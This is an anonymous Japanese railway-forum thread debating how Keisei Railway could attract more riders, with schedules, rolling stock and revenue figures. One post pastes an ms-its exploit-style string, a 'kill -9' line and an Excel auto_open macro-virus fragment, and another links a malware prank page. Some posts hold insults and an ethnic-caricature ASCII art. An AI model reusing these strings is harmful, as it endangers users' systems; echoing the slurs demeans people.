京成の利用客を増やすためには 【第10部】

前スレ
第９部 … http://hobby7.2ch.net/test/read.cgi/rail/1146046571/

過去スレ
第１部 … http://hobby7.2ch.net/test/read.cgi/rail/1105587030/
第２部 … http://hobby7.2ch.net/test/read.cgi/rail/1116961256/
第３部 … http://hobby7.2ch.net/test/read.cgi/rail/1120645923/
第４部 … http://hobby7.2ch.net/test/read.cgi/rail/1125821756/
第５部 … http://hobby7.2ch.net/test/read.cgi/rail/1128081238/
第６部 … http://hobby7.2ch.net/test/read.cgi/rail/1130934672/
第７部 … http://hobby7.2ch.net/test/read.cgi/rail/1133954039/
第８部 … http://hobby7.2ch.net/test/read.cgi/rail/1139578761/

・新スレはできるだけ>>970以降に立てましょう
・「はしのえみを」「大平」「電波厨」等の書き込みは華麗にｽﾙｰ［レスアンカー(>>xxx)全面禁止！］し、必要な場合は削除依頼へ
→NGワードに登録しておくと無問題(登録方法が分からない方は検索する)
・なるべくsage進行

222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222

２なら土屋駅ができる

結局、新高速開通までは、現状維持でＦＡ？

開通しないかもしれない

ttp://www.malware.com/forceframe.html　　

思ったんだ。>>1にNGワードがあると>>1自体が見えないよねって。

>3　ｗ
あそこ単線だからダイヤのネックにならないといいけどな。

前スレ>>966>>972
空港客を北総経由にしたいというのはどうだろう。
現状の特急が昼間の小田急急行並に混みまくりなら、
空港客を分離したいというのもわかるけど、
今の混み具合では分離する必要は薄いのではと思う。

>>969>>970>>973
MLはELはこれまで通り船橋周りで走るはずだから、
新高速経由スカイライナー上り31本＋船橋経由上りML
新高速経由スカイライナー下り30本＋船橋経由下りELになると思う。
だから実際には40分穴はそこまで無いのだと思う

一般特急は予想がつかない。免許申請や成田新高速のHPには特急としか書いていないけど
普通電車は走らせないつもりなのか？

普通は早朝と深夜滞ぐらいじゃないの？

>>9
新高速スカイライナーは現行スカイライナーより大幅に時間が短縮されるから、
佐倉まわりのMLELが走る時間帯にも新高速ライナーは設定されると思う。
新高速ライナーと比較すると、あまりにも佐倉まわりMLELは時間がかかるから
MLELをスカイライナーの代替には出来ないのでは。

空港特急用に３ドア転クロ車を導入して、
日中は空港特急、朝夕はML,ELに代えて京成ウイング号…


妄想失礼しました。

>9 前半のみ同意。「空港客をライナーに乗せたい」は真だろうけど、「北総経由にしたい」ってことは無いね。
本線経由だって混んでないし、運賃収入はパスネットルールで同じになるだろうし。

>11 同意。北総ＡＥと既存ＥＬ／ＭＬじゃ所要時間が３０分も違うからね。
閑散時間帯のＡＥをＣＮＴ中央に止めて北総版ＥＬ／ＭＬって可能性も皆無じゃないと思うけど。
# ＣＮＴに止めても既存ルートＡＥより遥かに速い。

>12 ＡＥ料金を取れる客が一般列車に逃げるんじゃＮＧだわな。
あと北総といっても既存の朝の特急は結構混んでるから転クロどころかボックスシートさえ論外ってのが実情。
赤電のクロスシート改造試験が「不採用」で終わった時点で（以下略

>>12
実現性は恐らくないだろうけど、発想はそんな悪くないと思う。
ラッシュ時は本線でウイング(？)+昼間は北総特急って感じなら、
「北総といっても既存の朝の特急は結構混んでるから転クロどころかボックスシートさえ論外」って命題も克服できてるし。

上野発をライナーと本線特急、羽田発を北総特急にすれば、
上野からはさりげなくライナー誘導になるし、
空港間には転クロのエアポート特急が設定されて、棲み分けができそう。
おおっと、妄想はこの位で、、、

北総は新高速をきに運賃を値下げしてくれないかな。

基本的に今と同じで、空港に行くのはライナーと新高速＆京成の特急だろうね。
そうしといた方がわかりやすくていい。

新高速と京成の特急が紛らわしいなら(ホームは別だが)、
新高速経由の特急は「快特」とか「高速」とかいう新種別にするか。

北総イブニングライナーはできないの？

これ以上増やすな。
減らせ。
以上。

新高速開通時3年後の成田空港乗り入れ車両は
京成特急は3700形と新たな新型車両
北総特急は7300形7500形で統一できるかな
都営と京急車両は紛らわしいので印旛日本医大と成田まで乗り入れ

3200形と3500形未更新は廃車へ。3600形と3500形更新車は各停運用へ。
今のAEの台車はまた再利用されるのかな

＞１９
京成は第２種としてダイヤの筋に合う形式車は全て入るょ。
北総は日医大迄だ。　ＴとＨはダイヤ次第で乗り入れも有りうるのだが
最高速度が１３０ｋｍに絶えうる車両となりＴ車は無理だろう。
現行は北総と京成ははっきり分けての運用になりそうだ。

どこから新高速一般特急が130km/hというのが出てきたの？

>21 オタの脳内ソースですな。
一般車両は120km/h化が限度でしょ、3700や3000を排除できない。

京成の車両って新高速開通の際に、足りなくなったりしないの？

新高速の特急が増える分必要にならぁな。

ということは、新型が出るのか・・・？
単に、３０００形が増えるだけ・・・。

京成もそろそろ特急の新車だすだろう。
3000はなんか6連しか増備しないそうだし
だいたいいつまで3600走らせるんだ。特急なのに内装古臭いし
あんな車両外人もびっくりだろ

>>13
空港輸送を北総経由にするメリット
（北総経由の一般特急を走らせるメリット）を挙げるとすると、
これまで、船橋や八幡で乗り換えてしまっていた空港利用客や成田市の利用客を、
日暮里までもってくることができるって所だな。

まぁ、空港利用客で八幡や船橋で乗り換える人ってそんなに多く無さそうだし、
あまりメリットというメリットじゃなさそうだな。

>>26
いや、日本の通勤車両って基本的に世界一乗り心地がいいと思うぞ？
たとえ3600でもな？

３６００より３５００更新車を何とかすべきだろ
四角い窓に黒い縁というセンスにも恐れ入るが
椅子が汚れで黒ずんでいるぞ
よくあんな車両をＫＱ方面に乗り入れさせるもんだ
イメージダウンになってしまうよ

山手線に接続させないとダメって言おうとしたが、
事実上、京成上野とＪＲ上野駅は地下道で繋がってるんだよな。

上野にオフィス、商業機能を集中させないとダメだが、
アキバにＴＸが接続したり、オフィスや商業施設が出来たり
分散しちまってるよな。御徒町もだ。

あのエリア一帯が魅力的になれば自ずと選ばれる路線になっていくだろうがry

上野の狭いエリアに、浅草、御徒町、アキバが凝縮してたら凄い街になってたろうな。
東武、京成、ＴＸも接続して。
上野駅前に松坂屋があって、浅草松屋、東武デパートがあったら尚よかった。
街や鉄道の構造に欠陥がある。

3671の編成
なんでブレーキ中にどっかんどっかん押しあいへしあい始めるのかね･･･

酔っ払いがいたら吐くぞ｡

>>32
仕様ですw

>>30
地下道でつながってるけど、明らかに別の駅だよね、あれでは

http://www3.ocn.ne.jp/~skylark7/data/nrtsks/diagram.html
http://www3.ocn.ne.jp/~skylark7/mydia/keisei/nrtsks3.html
http://www.ekikara.jp//200606/line/1302011/down-1_10.htm

これ見ると
新高速ＳＬは日暮里〜空港第2間37分、特急58分
現　行ＳＬは日暮里〜空港第2間52分、特急65分

新高速の特急はあんまし早くないのね
そして現行のＳＬの遅さにもビックリ。特急と13分しか変わらないじゃん

>>27 βακα？
瑞江に住んでる香具師が八幡を諦めて日暮里へ行くか？
浦安に住んでる香具師が勝田台を諦めて日暮里へ行くか？
否、不便にすればマイカー・バス・タクシー・束に乗り換えるだけ。

>>35
なんせカーブが多いから停車駅こそ少なくても速く走れない。
それに差は9駅だから13分差ならまずまずかと。

日暮里・第二ビル３７分ってネックスを顧客心理で上回れるか
かなり微妙な数字だよね
２０分台くらいなら日暮里まで来そうだが

>>31
それって名古屋の大須の東京版？

>>38
そんな時間でＳＬ走るなら、北総線内は全てホームドア完備しないとヤバス

高砂以東200km/h運転だなw

それにしても、160km/hが日本医大以東というのは、短すぎて意味があるのか？
単に160km/hという数字が言いたいだけってな風に見える。
いきなり高砂以東というのは、騒音云々で難しいかもしれんが、
せめて、新鎌以東くらいは最初から最高速で頑張れよ、と思う。

それでも２分前後くらいは縮まるだろ？

せっかくだし東北新幹線直通やってほしいな。
つばさが単行で走ればいいだろ

18 ：名無し野電車区 ：2006/06/01(木) 17:06:20 ID:QclIuZbi
これ以上増やすな。
減らせ。
以上。
→
コピペ乙。死ね、逝ってよし


→
保守

なんで新高速建設なのに、まともな直線を確保できないのだろうか・・・

京成ってそんなにカーブが好きなのかなｗ

>>36
瑞江や浦安といった千葉に近いエリアの話じゃなくて、
対都心での話。
船橋流出している空港客や成田市民もいるのでは？と思って。

>41 １３０ｋｍ/ｈを超えるとＡＴＳを取り替えないといけないから、かもね。
取り替えれば済むなら新高速の予算で取り替えろよｗ

１６０で走るんじゃ印旛沼駅は無理そうだね

ｱﾚだ、京成津田沼駅で、空港行き特急とちはら台逝き快速、成田行き通勤特急と千葉中央逝き急行の同時発着。
これを１０分ヘッドで行う。

ダイヤって何か知ってるか？

ダイヤモンドのことだろ

マリネラ王国の特産品

>>48
アレってどれ？

>>35
>>ＳＬは日暮里〜空港第2間37分

日暮里〜２ビルは36分だよ。
リンク先の時刻表では、２ビルは発時刻で
記載してるから、着時刻はもう１分早い。

京成はいつも上野からの時間表記しないよな。
上野と日暮里間が遅いよ

京成電鉄は東海道・山陽新幹線に直通するべき

>54 毎時4分頃に日暮里に居ると
まず「あさま」が通過し
ボンネットの「ひたち」が通過して
それから「ライナー」が通過していた気がす。

このスレが１０にもなるってことは、会社もファンも問題が解らないんだね。

簡単でしょ

・ＪＲより割高な運賃値下げをする。

・ＪＲより遅すぎる列車のスピードアップを図る。
（線形改良、速度向上、車両数増加、千葉線の競争力を上げるetc）

これをやらないから京成は現状に甘んじてるといわれても仕方ない。

>>57
キミはここに書き込む前に、経営学を勉強してみよう。

やはりここは転クｒ（ｒｙ
速度じゃあ絶対に勝ち目がない（といってもまだまだ改善の余地はあるが）からアコモで勝負するしかないと思われ。
あと、上野はやっぱり論外。

伝統的に京成の弱点は投資センスの無さだよなあ
ネックスに負けている元凶・日暮里に１６０億円投じているのも
その一つ

>>60
空港輸送考えるなら現実的に日暮里がベストだろ。
ってゆうか他にどうしろと？浅草線なんて論外だし。

品川からネックス−1,000円で走らせれば客が集まるのに

スピードアップしたところで利用者数は増えない。
やはり京成沿線の町とターミナル駅が重要。

>>28
んなことねえよ。

ここが京成の首都という町を作るしかない
新鎌ヶ谷が面白いと思う

京成としては新高速で空港客が多少増えてくれればよくて
あとはジリ貧やむなしという認識だろうな

どっみち新高速開通で大幅減収になるしな
単体の売上高も阪神に抜かれる悪寒

新型ＡＥどんなのになるんだろ。
カラー的には北総＆京成で青はおそらく入ってくるだろうが。
小田急ロマンスカーみたいに案外ラインカラーに関係ないとか‥

ロマンスカーの前面展望一回乗ったけどヲタにはたまらん。
ぜひスカイライナーーの160km運転を前で見たい
でも京成ではﾑﾘﾎﾟ

無理に上野や日暮里まで運ばなくてもいいんじゃないかな。
お近くの放射線まで乗ってもらえばよしという環状線モデルでいいよ。
そうすれば無駄な投資もしなくてもいいし。
だから船橋や西船や八幡は乗り換えやすいようにしてね。

阪急・京阪の特急で京阪間を往復して
両者の高品位なサービスを堪能したあと、
東京に舞い戻って京成の“特急”を見たら、
「ダメだこりゃ…」と思った。

中山・鬼越みたいな駅舎って都市部の大手では他にないよな！？
東武の田園部や、三重県内の近鉄とかならありそうだが・・

>>67
新高速は京成の路線(第２種)なのだが。

ごめんね、京成沿線の住民に叩かれるの承知で書くけど・・・
今日、初めて押上から京成船橋まで乗った。

電車の中で大きな声で携帯で話しいている若い女性はいるは、
小汚い浮浪者が乗り込んでくるは（臭ぇ）、、、、これが下町？
高砂とか、京成船橋の駅前はゴミゴミしているし・・・
車窓から見える範囲は、小さな家が立ち並んでとても再開発は無理ポ？

東急、小田急、京王の沿線の車窓から見える「住宅地」とは、全然違う！
利用客増やすには、京成が駅前買い捲って、根本的に再開発しなや駄目だと思う。

>>73
京成の駅で「駅前」が存在するのは津田沼以東の成田線だけだからな

京成には駅前ロータリーがないから、駅前からタクシー乗る事ができない
バスもＪＲの駅で折り返しが多く、停留所が途中の京成駅前では座れない。

>>73
釣られてやるよｗ

電車の中で大きな声で携帯で話しいている若い女性は東急、小田急、京王にもいますが・何か？

>>75
つ勝田台、志津、ユーカリヶ丘、佐倉など・・・

>>68
小田急ロマンスカーが赤いラインカラーを止めたから
今後は京成スカイライナーが赤いラインカラーを採用できるチャンス！
　赤いラインか青いラインかどちらでも良いから一つ系列だけを採用してください。

都心に近い駅前がごちゃごちゃしてるのって私鉄ならどこでもそうだろ
23区内で駅前に立派なロータリーや複合ビルがあるのはほとんどJRの駅
京浜東北線と京急の駅を比べればよくわかる
人気の高い下北沢や自由が丘だって駅前が整然としてるわけじゃないし

>>73
慣れって怖いもんで、20年以上住んでるとそれが普通に・・・
>>75
タクシーは終電間近だけだよね。
狭いから切り返ししないと駄目だけど。

高砂はどうにかした方が良い所ばっかだね。

逆に考えれば、

・複々線化
・253＆E217＆E231の大量投入
・東京と新宿に直通

これだけ無理してやってるJRが負けたら異常事態だよ。
勝ちを争うよりは住み分けを模索したほうがいいんジャマイカ。

>>73
小田急、京王の沿線の車窓から見える農地だった所とはどれだけ違うんだろう。

国が鉄道を敷けばそりゃあ直線敷けるよな。
京成は神社･参詣地を結んだ線だから、線形悪くて
所要時間じゃ対抗出来ないよ。

でも新高速も微妙にカーブあるし、成田〜空港間もカーブあるもんな。
総武線が空港までビシッと直線になってるのに。

線路の敷き方間違ってんじゃないかね>京成

国家権力を笠に着ることの出来るものと出来ないものの違いってこと。

>>76
釣られ方が情けなさすぎ！

浮浪者やゴミゴミに対しても何か言えよorz

>>73
たぶんね、地方出身者の血が濃い奴ほど下町に対して耐性がないから、
京成とかに乗ると違和感覚えるんだと思うよ。
都内なのに車窓から畑が見えて上京者が多い小田急や京王の方が落ち着くんだろうと思う。
俺は京王で通学してたけど泥臭いっていうか田舎臭く感じたから。
どっちが悪いってワケでもないけどね。
蔵前出身の俺の爺さんは新宿でさえ田舎と言い張っていたしw

>>82
やっぱり京成は、最初に線路を敷くときのコンセプトが定まってなかったのが
よくなかったね。都心と成田を最速で結ぶ、という一貫した方針があれば
途中で柴又寄ったり、千葉に先に通したりしなかっただろうね。コンセプトが
定まってなかったので、大局的には寄り道ルートになってしまった。

また、自分で沿線の人口を増やすという意識が薄すぎて、既存の住宅街を
縫うように走ったのもよくなかった。曲線カーブが多くなった。

>>81
いや、現状完璧に住み分けができているわけだが、それじゃ面白くないから
あえて勝負しようというのがこのスレの趣旨な気がする
まあそんなことしてもコストや投資が増えて収支を悪化させるだけなんだが、
妄想するだけなら自由だし

同じく町を縫うようにして走った阪神の鉄道経営はなかなか良好な件

ちゃんと梅田と三宮につながってるからな
甲子園もあるし

結局関東で通ってる場所(直通先も含め)が一番いい
私鉄はどこなんだ?

直通先を考えればダントツで東急じゃないの？

と、いうことはだ。
形成も半身みたいにバカみたいに駅を設置すればいいんじゃまいか？

>>92
いやいや。京成はもう十分に駅間距離は短いよ。
市川市内とかさ。

まずは線路を直線に引きなおせ。話はそれからだ。

割高と思われている料金を値下げする事が先だ
それと、車両のデザイン　東急は5000系を登場させたことにより若い女性にまで沿線価値、企業価値に良い印象を与えるに到った。

今下りで千葉に向かっています。
隣に座っているおねいさんたち、
乗り過ごしたからといって、
改札出ないで折り返しはだめですよ！！

>>73
＞東急、小田急、京王の沿線の車窓から見える「住宅地」とは、全然違う！
順番が間違ってる。

東急、西武、小田急の沿線の車窓から見える「住宅地」とは、全然違う！
だろ。京王は含まれないし、実際は西武がトップだと思っている。

何でもいいけど、曲線部にカントをつけろ。

たまに京成の普通に乗ると思うんだが、ボロいと言われる赤電でも
加減速の立ち上がりではなかなかいい走りしてる。
そこはさすが全車地下鉄に入れるだけあると思う。
だから京急みたいに気合入れた運転すれば
時間はさほど縮まなくても体感的に速いと思わせられるんじゃないかな。
待たずに乗れる本数があって速く走ってる「イメージ」が出来れば
短距離でもちょこちょこ乗る人が出てくるかも。

まあ京急並みとは言わないけど、そこそこノッチオンオフの繰り返しする
路線だとは思う。
プチ京急と言っても言いすぎではないかと・・・

ただ絶対速度が低いだけで。

いや、まだまだぬるぽだ。
運転の禿げしさはSKの方がぜんぜん上。

>>96
故意にやってなければ別にいいだろ。寝過ごしたのなら尚更な。
そんなことばかりいってるからｷﾓｦﾀって呼ばれるんだよ。


TSやってて思うんだが、京急だと90ｷﾛ制限のカーブを京成は70ｷﾛ制限で曲がってる気がする。
路線ひきなおさなくてもカントの調整とかでもっと早くなるんじゃないのか？

>>96
故意にやってなければ別にいいだろ。寝過ごしたのなら尚更な。
そんなことばかりいってるからｷﾓｦﾀって呼ばれるんだよ。

TSやってて思うんだが、京急だと80ｷﾛ制限のカーブを京成は70ｷﾛ制限で曲がってる気がする。
路線ひきなおさなくてもカントの調整とかでもっと早くなるんじゃないのか？

>>86
成田へのルートというコンセプト事態はずっとあったと思うよ。
ただ、当時の人の感覚だと、
成田へ行くには成田街道沿いに線路を引くとしか考えられなかったのだと思う。
昔の成田街道は、日本橋-千住-にいじゅく-八幡-船橋-大和田-臼井-佐倉-成田だったから。
昭和にはいって埋め立てが進んで、成田街道自体が遠回りになってしまったからね。

>>95
5000系ってそんないいデザインか？
平凡に思えるが。

東急5000系列は他の私鉄の走るんですに比べればしゃれてんじゃん？
ドア上の液晶テレビとかなんか高級にみえる

京成みたいに新車でもドア上の案内板が千鳥配置の会社はせこく見える

>>103
ageで連投までして必死だな。
引きこもって、妄想しながらTSばかりやってんなよ。

つーかageの何がいけないの？
sageたら偉いの？

京急だと80ｷﾛ制限のカーブを京成は70ｷﾛ制限で曲がってる気がする。
路線ひきなおさなくてもカントの調整とかでもっと早くなるんじゃないのか？

乗り心地も良くなるかもしれないし地球環境にもやさしくなるし検討してみる価値はあるかもしれないぞ。

>>108
ageやsageはどうでもいいから、スルー汁。

>>107
ﾃｨｱﾘﾝｸﾞｻｰｶﾞやってて悪いかﾎﾞｹ

京急は速いのは良いが、高架でも地下でもない所で、やたらとスピード出すから、乗ってて怖い。
もしかしたら、そういう場所だからこそ、より速く感じるのかも。

京成は津田沼から先は結構線形いいしスピード出せるよね。ヤル気ないだけでしょ
津田沼まではカーブだらけ・・・なんか大事な所が抜けてるよね。

京成って臼井・佐倉間の田園地帯でもカーブが多いんだよな

>>114
あれは、たぶん、だけど、印旛沼の埋め立て地かそうでないかの違いに因っているのだと思う。
埋め立て地を避けて線路を引いたから、あのカーブになっているというか…。

都心側でも押上線は結構スピード出すよね。
もう駅間最高速度とか作ってる時点でヤル気なしな気が・・・

押上線は意外と線形がいいんだよな
京成が最初に開業した区間

ホント、京成は全線にわたってカーブだらけだよな。
直線というと、新三河島のあたりと、押上線、それぐらいという感じ。

京成で隣の駅がホームから見えるのは勝田台→志津と八幡→菅野だけ？

山手線の駅に乗り入れればいいんじゃなくて、池袋、新宿、渋谷のどれかに
行かなきゃ駄目だよ。
上野から銀座線にコバンザメ方法で渋谷まで伸ばせばおｋ

競合他社を上まわるのは、おそらく現実的には不可能だろうし
利用者数も現状維持でよいので、そのかわり、
ていねいでセンスの良い仕事のできる鉄道会社になってください。

>>119
新三河島−町屋、八広−四つ木、江戸川−国府台

余裕の
>123get!!!

低脳ニートな愚民共よ、喪舞いら部屋に籠もって水越萌ﾀｿでヲナニーばっかりしてんなよ。それではごきげんよう。

ageている人の発言って確実に馬鹿だよね。
知識がないとこういう発言をするんだなって。

昨日、千葉に行く機会があったので、一般人は絶対にやらないであろう、京成上野〜京成津田沼〜京成千葉のルートで行った。
というのも、前スレで書かれていた、全日空の、京成をガン無視したターミナル移動のポスターを見たかったのと、
最近導入された英語の放送を聞きたかったから。
英語の放送は日暮里と船橋を出た直後に鳴り、思ってたよりも音質も良かった。
でも、全日空のポスターを見ることができなかった。
だれか画像持ってる人、うｐしてくれ。

これでもくらえ

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　(巛ミ彡ミ彡ミ彡ミ彡ミ彡）ミ彡ミ彡）ミ彡)
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　,,从.ノ巛ミ　　　 彡ミ彡）ミ彡ミ彡ミ彡）ミ彡)''"
　　　　　　　　　　　　　　　　　　　　　　　　　　　 人ノﾞ　⌒ヽ　　　　　　　　　彡ミ彡）ミ彡）ミ彡)'
　　∧＿∧　　　　　　　　　　　　　　　,,..､;;:〜''"ﾞﾞ　　　　　　 ）　　从　　　　ミ彡ミ彡）ミ彡,,）
√<:::.｀∀´>　　　　　　,,..､;;:〜-:''"ﾞ⌒ﾞ　　　　　　　　　　彡　,,　　　　 ⌒ヽ　　　　 ミ彡"
|　（:::..､===m==<|::::::ﾞ:ﾞ　　　　　　　　　　　　　　　　　　　　'"ﾞ　　　　　　　　ミ彡）彡''"
|_=|:::. |::.　| '　　　　｀`ﾞ⌒｀ﾞ"''〜-､:;;,_　　　　　　　　　　　　　　）　　 彡,,ノ彡〜''"
　〈＿_ﾌ＿ﾌ　　　　　　　　　　　　　　ﾞ⌒｀ﾞ"''〜-､,,　　　　 ,,彡⌒''〜''"人　ヽﾉ←はしのえみを＠京成金町乗務区ヲナニー車掌
　　　　　　　　　　　　　　　　　　　　　　　　　　　　"⌒''〜"　　　　　　し（_＿）

競合とは言うが、東葉高速って京成も出資してなったか？

筆頭ではないが、主要株主だった希ガス

>>127
出資してるどころか運輸関係の要員養成や管理職の出向元はほとんど京成だよ。

sage厨うざい。ageでもsageでもどっちでもいいだろ。

どうせＪＲに勝てないことはわかっているんだから、
敵を東葉にしぼって対策するという京成のやり方は、
決して間違ってはいないと思う。

「東葉よりも速い」はともかく、「東葉よりも早く着く」は可能。
時間の正確さの向上辺りから攻めていって欲しいな、と。
トンネルの向こうのとばっちりを喰わないようなダイヤは、できないかな。

確かに千葉線をあっさり支線にしたあたりは京成のセンスを感じるよな

>>127-128
出資比率を高くすると北総の二の舞(ry

>>131
どうせなら支線にするだけじゃなく、新京成に売却すればいいのに。

>>132
ま、東葉は北総以上にヤバいらしいからねぇ。。。
確かそろそろ潰れるんじゃなかったっけ？＞東葉

東葉がつぶれたら格安でもらえないかな。

運輸相が踏切だめ規制作ったのも新線のコスト増になってるよな

>>134
それを格安でもらうのはトトロの悪寒。

>>135
運輸相って、今の？

既存の線の高架・地下化の費用って補助しないよな・・・　SKの北習志野〜鎌ヶ谷大仏を走して欲しいんだけど。

>>136
沿線住民としてはそっちのほうがいいのかな。

>>138
出資比率から考えてもそうなる悪寒

http://cgisrv.abell.co.jp/nocharge/ranking/ranking.cgi?userid=kdkkdk
江原台ってそんなに必要？

http://www.angel.ne.jp/~oaksky/tozai/tozanq/chousa6/chous6ke.htm
東葉はやるき次第では北総より上いけると思うけどなぁ

東葉は京成に配慮して所定スピード遅くしてるって本当なの？

>>140
位置的にはあると便利なんだろうけど
市街地が臼井と一体化するぐらいじゃないと無理でしょ。

それとこれだけ項目があってユーカリ特急停車がないのが意外だ。
臼井にとめるよりよっぽど有用だと思うけど。

多摩ﾆｭｰﾀｳﾝの小田急や京王、関西の北大阪急行電鉄(初乗り運賃大人80円)や
泉北高速鉄道は、おおむね、ニュータウン鉄道として成功してる。
それに対し、千葉県内の新規に建設された北総・東葉・京成千原線といった
高規格路線は、すべて経営が苦しい。
なぜなのか…。
鉄道側の経営能力以前に、千葉県の宅地開発の手法に欠陥が大だったのでは？

hint　成田空港

千葉県は成田闘争のせいで長らく土地収用委員会がなかった。
みんな過激派の爆弾ﾃﾛのせいで委員がびびってしまってなり手がいなかったからだ。
おかげで都市計画も鉄道路線も地主がごね得することを知っており、その
足許を見られてたわけだ。それで着工が何十年も遅れ、その分がやっと開業した
路線の運賃を跳ね上げる。
そんな時代を30年続けてる間に他の都県は涼しい顔で鉄道を整備し都市を整備し、
今、小奇麗なｲﾒｰｼﾞを捏造して馬鹿な消費者から金をふんだくっている。
おまけにそんなにまでして難産だった成田空港を未だに遠いだ不便だと文句を付ける。
自分たちは何のリスクもしょい込まずに済み今日を迎えているのに、千葉はいまだに
このざまだと馬鹿にし見下している。
全く俗悪の見本だよ。そういう連中は。
いつか必ず天罰が下るよ。

汚染を除去しました。

ms-its:mhtml:file#http://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

>119,>122
みどり台―西登戸

>>145
良いこといった！一緒に飲もうぜ！

>>145
実のところは、他の都県も収用委員があるとはいえ、何かを造ろうとするたびに
邪魔が入って遅々として進んでないのはあまり変わらない。
小田急複々線化&立体化しかり、外環西側や圏央道西側しかり。

成田空港に対する批判については同意。神奈川なんか県内に造ることすら
無理なくせして、何ワガママ言ってるの？って感じ。
まあ、これだけ関東内でもバラバラな心では、何か有事があったとしても国家
一致団結して勝利！！なんて端から無理だ。
俺もこんなバカたちなんかを守ってやるなんてまっぴら御免。

多摩ニュータウンと千葉ニュータウンの明暗を分けたのは何？

当初の計画では今ごろは調布＝新鎌ヶ谷にはなってたんじゃないの

>>151
企業庁と公団の縄張り争い。
まあ、多摩も供給公社分に関してはマイナスで開発終了なのだが。

商業施設では池袋新宿渋谷＞上野東京だからでしょ

>>153
一般論しか語れそうもないですね。ド素人さん。

>>153
こんな所にも池沼袋か…　多摩ニュータウンと池袋なんて全然関係ないし、
ゴミ袋と新宿・渋谷とが同等だとでも思ってるのか？

あっち側に行けば儲かると思ってる素人です
小心もそれで流行ったんでしょ

昨日の読売新聞に出ていた主な私鉄の連結売上高(06年3月期)
と旅客営業キロ数
1km当たり売上高
1.東急電鉄　　　1兆3885億円　　100.1km　　　138.7億円
2.近畿日本鉄道　9484億円　　　　573.7km　　　16.5億円
3.名古屋鉄道　　7402億円　　　　482.0km　　　15.3億円
4.東武鉄道　　　6463億円　　　　463.3km　　　13.9億円
5.小田急電鉄　　6104億円　　　　120.5km　　　50.6億円
6.阪急HD　　　　4861億円　　　　146.5km　　　33.1億円
7.西武鉄道　　　4430億円　　　　176.6km　　　25.0億円
8.京王電鉄　　　4382億円　　　　84.7km　　　51.7億円
9.東京地下鉄　　3573億円　　　　183.2km　　　19.5億円
10.西日本鉄道　 3203億円　　　　115.9km　　　27.6億円
11.阪神電鉄　　 3132億円　　　　45.1km　　　69.4億円
12.京浜急行電鉄 3119億円　　　　87.0km　　　35.8億円
13.相模鉄道　　 3045億円　　　　35.9km　　　84.8億円
14.京阪電鉄　　 2630億円　　　　88.1km　　　29.8億円
15.京成電鉄　　 2260億円　　　　102.4km　　22.0億円　
16.南海電鉄　　 1904億円　　　　169.1km　　11.2億円

1km当たりの売上高も、下から数えた方が速いね・・・orz
それにしても相模鉄道が凄いな。

>>157
相鉄は確かにすごいね。まぁ京成と違って無駄な所を走ってないってことか

東急ってそんなに儲かっているのか。
地下鉄も乗り入れ放題だしずるいよね。

売上高であって利益じゃないから。
でもそれほど順番替わらないのかな？

連結だしな
京成って東急と線路長近いね

運賃収入は近鉄か東武が1位だったと思う
東急は3位かな
東急は鉄道以外の売上の方が圧倒的に多いから

>>157
相鉄･･･ってか東急ヤバイな。
てか京成ってどっちかというといいほうじゃん。
回なのは間違いないけど、南海とか東武や名鉄や近鉄よりいいじゃん。

メトロは意外な気がするな。
もっと上位だと思ってた。
ところで、東日本旅客鉄道株式会社は、どこにはいるんだろう。
売上はあるだろうが、路線は長いし、ローカルも抱えてるから、1kmあたりが気になる。

連結の数字だから、鉄道以外の出来不出来が決定的なんでしょうね。

運賃収入だとこんな感じ

近鉄　1586億
東武　1427億
東急　1221億
小田急　1091億
西武　939億
阪急　925億
名鉄　790億
京王　773億
南海　546億
京阪　514億
京成　495億
相鉄　317億
阪神　244億

東京メトロ　2741億
JR東日本　1兆6778億

>>150って簡単に国を見捨てたりしそう。
なんとも薄っぺらな愛国心だこと

京急が抜けてた
740億です

>>166
キロ当たり運賃収入はどうだろう

費用が考えられてないから、だいたい路線長順になると思うんだが・・・
だれか、営業利益（本業での利益）ランキング作って

営業利益は減価償却費が入るから京成のように同業他社に比べて設備投資が
少ない会社は上方にバイアス出るよ

北総合併したら南海くらいにはなるかな

>>158
流通業は売上高をかさあげする。連結売上高に占める流通業の
比率が高い場合（相鉄に顕著）、売上高をもって企業グループの
実力を測ることはできない。

貫徹や神経性は形成の連結に入ってるのかな

鼠園は？

ちょっと調べりゃわからんか？

データ書いてもらって言うのもアレだが、キロ当たり連結売上高って
あんま意味ない予感。。。

西武はコクドの売上入ってないんじゃないの、それ

1kmあたりの売上高という視点で考えると、
都心と郊外を結ぶ路線長の長い大手よりも、
都心と郊外の中間地帯内で営業する相鉄や新京成のような
中規模の鉄道の方が、効率よく稼げる体質になってる、ということか。

デパートとかをキロ割りしてもね・・・
ディズニーランドがキロ割りイイ線行くんじゃね

普通にキロ当たり乗客数じゃね？

東武と隣接する駅を改良して、乗り換えをしやすく汁

>>177
そうですね。コクドも沿線に依存しないビジネスですし。
いつまでも80年代型鉄道ビジネスを尺度にしても仕方ないんじゃないかな?
どこの会社もそんなものはとっくの昔に崩壊したと思っているし。ｵﾀだけなんだよね取り残されているのは。

早いところOLCを切り離してくれないかな。。。まだ価値が下がらないうちに、束とかに売ってほしい。
東モノみたいな扱いにすればいいじゃん。

京成って意外と金持ってる？
ミラマ−レもかなり総工費かかってると思うけど

>>184
束よりKHK・TKKの方がいい

ﾌﾞﾀﾏﾝ
頼むから辞めてくれ

>>166
東葉開通前は南海くらいはあったのかな

OLC・新京成・関鉄・小湊は持分法会社です。それにしても、有利子負債を減らさないと。売り上げの2倍あるからね。

何でそんなに有利子負債多いの？
借金して大工事した？

新高速関連？

>>170
ちょっと興味がでたので調べてみた。kmあたりを見てもしょうがないけど
東京の主な鉄道会社の鉄道部門利益、営業km、1kmあたりの利益
一応全部最新年度（メトロだけHPにあったデータが壊れてたので17年度）

鉄道部門利益営業km1kmあたり利益
京成9,600,000,000 102.493,750,000
新京成1,014,812,000 26.538,294,792

東武25,765,000,000 463.355,611,915
西武18,820,000,000 176.6106,568,516
京王18,178,000,000 84.7214,616,293
小田急16,891,000,000 120.5140,174,274
